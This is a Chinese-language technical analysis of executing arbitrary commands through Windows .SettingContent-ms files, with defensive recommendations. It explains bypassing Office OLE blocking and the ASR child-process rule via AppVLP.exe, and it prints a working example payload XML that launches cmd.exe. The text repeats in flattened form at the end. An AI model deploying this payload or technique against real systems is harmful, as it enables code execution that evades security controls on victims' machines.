如何利用SettingContent-ms文件执行任意命令
字数 1138 2025-08-29 08:32:18

利用SettingContent-ms文件执行任意命令的技术分析

1. 背景与挑战

在Windows安全加固环境下,攻击者面临以下限制:

  • 文件格式选择受限(HTA、Office宏、VBS、JS等)
  • Office 2016默认拦截通过OLE嵌入的危险文件格式
  • Windows 10攻击面缩减(ASR)规则限制(特别是"阻止Office应用程序创建子进程"规则)

2. SettingContent-ms文件格式分析

2.1 文件格式特性

  • Windows 10引入的格式,用于创建设置页面快捷方式
  • 本质是XML文件,包含Windows 10设置二进制文件路径
  • 关键元素:<deeplink>,可接收带参数的二进制文件并执行

2.2 命令执行能力

当替换control.execmd.exe /c calc.exe时:

  • 双击文件直接执行命令,无"open"提示
  • 从互联网下载后点击"open"按钮仍会执行
  • 文件带有网页标记(Mark-Of-the-Web)但无警告

3. 攻击技术实现

3.1 通过Office文档嵌入

  • Office 2016 OLE黑名单不包含SettingContent-ms格式
  • 嵌入恶意.SettingContent-ms文件可绕过OLE限制
  • 用户仅看到"Open Package Contents"提示

3.2 绕过ASR规则

ASR子进程创建规则(GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A)的绕过方法:

  1. 发现ASR基于白名单路径放行Office相关二进制文件
  2. 利用Office路径中的AppVLP.exe(应用程序虚拟化二进制文件)
  3. 构造.SettingContent-ms文件调用AppVLP.exe并传递cmd.exe作为参数

示例有效载荷:

<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
    <ApplicationInformation>
      <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
      <DeepLink>C:\Program Files\Microsoft Office\root\Office16\AppVLP.exe cmd.exe /c calc.exe</DeepLink>
      <Icon>%SystemRoot%\system32\control.exe</Icon>
    </ApplicationInformation>
    <SettingIdentity>
      <PageID></PageID>
      <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
    </SettingIdentity>
    <SettingInformation>
      <Description>@shell32.dll,-4161</Description>
      <Keywords>@shell32.dll,-4161</Keywords>
    </SettingInformation>
  </SearchableContent>
</PCSettings>

4. 防御措施

4.1 文件执行限制

  • 限制.SettingContent-ms文件仅在C:\Windows\ImmersiveControlPanel路径执行

4.2 监控措施

  • 监控命令行日志(所有通过此文件执行的命令都会被记录)
  • 使用Sysmon监视Office应用程序创建的子进程异常

4.3 注册表修改

  • 修改HKLM:\SettingContent\Shell\Open\Command中的DelegateExecute键为空值
  • 注意:可能破坏操作系统某些功能,需谨慎操作

5. 技术总结

此攻击方法结合了:

  1. 未被OLE拦截的.SettingContent-ms文件格式
  2. 从互联网下载后无警告执行的特性
  3. 利用Office路径中的合法二进制文件绕过ASR规则

PoC示例:
SettingContent-ms文件PoC

利用SettingContent-ms文件执行任意命令的技术分析 1. 背景与挑战 在Windows安全加固环境下,攻击者面临以下限制: 文件格式选择受限(HTA、Office宏、VBS、JS等) Office 2016默认拦截通过OLE嵌入的危险文件格式 Windows 10攻击面缩减(ASR)规则限制(特别是"阻止Office应用程序创建子进程"规则) 2. SettingContent-ms文件格式分析 2.1 文件格式特性 Windows 10引入的格式,用于创建设置页面快捷方式 本质是XML文件,包含Windows 10设置二进制文件路径 关键元素: <deeplink> ,可接收带参数的二进制文件并执行 2.2 命令执行能力 当替换 control.exe 为 cmd.exe /c calc.exe 时: 双击文件直接执行命令,无"open"提示 从互联网下载后点击"open"按钮仍会执行 文件带有网页标记(Mark-Of-the-Web)但无警告 3. 攻击技术实现 3.1 通过Office文档嵌入 Office 2016 OLE黑名单不包含SettingContent-ms格式 嵌入恶意.SettingContent-ms文件可绕过OLE限制 用户仅看到"Open Package Contents"提示 3.2 绕过ASR规则 ASR子进程创建规则(GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A)的绕过方法: 发现ASR基于白名单路径放行Office相关二进制文件 利用Office路径中的 AppVLP.exe (应用程序虚拟化二进制文件) 构造.SettingContent-ms文件调用 AppVLP.exe 并传递 cmd.exe 作为参数 示例有效载荷: 4. 防御措施 4.1 文件执行限制 限制.SettingContent-ms文件仅在 C:\Windows\ImmersiveControlPanel 路径执行 4.2 监控措施 监控命令行日志(所有通过此文件执行的命令都会被记录) 使用Sysmon监视Office应用程序创建的子进程异常 4.3 注册表修改 修改 HKLM:\SettingContent\Shell\Open\Command 中的 DelegateExecute 键为空值 注意:可能破坏操作系统某些功能,需谨慎操作 5. 技术总结 此攻击方法结合了: 未被OLE拦截的.SettingContent-ms文件格式 从互联网下载后无警告执行的特性 利用Office路径中的合法二进制文件绕过ASR规则 PoC示例: SettingContent-ms文件PoC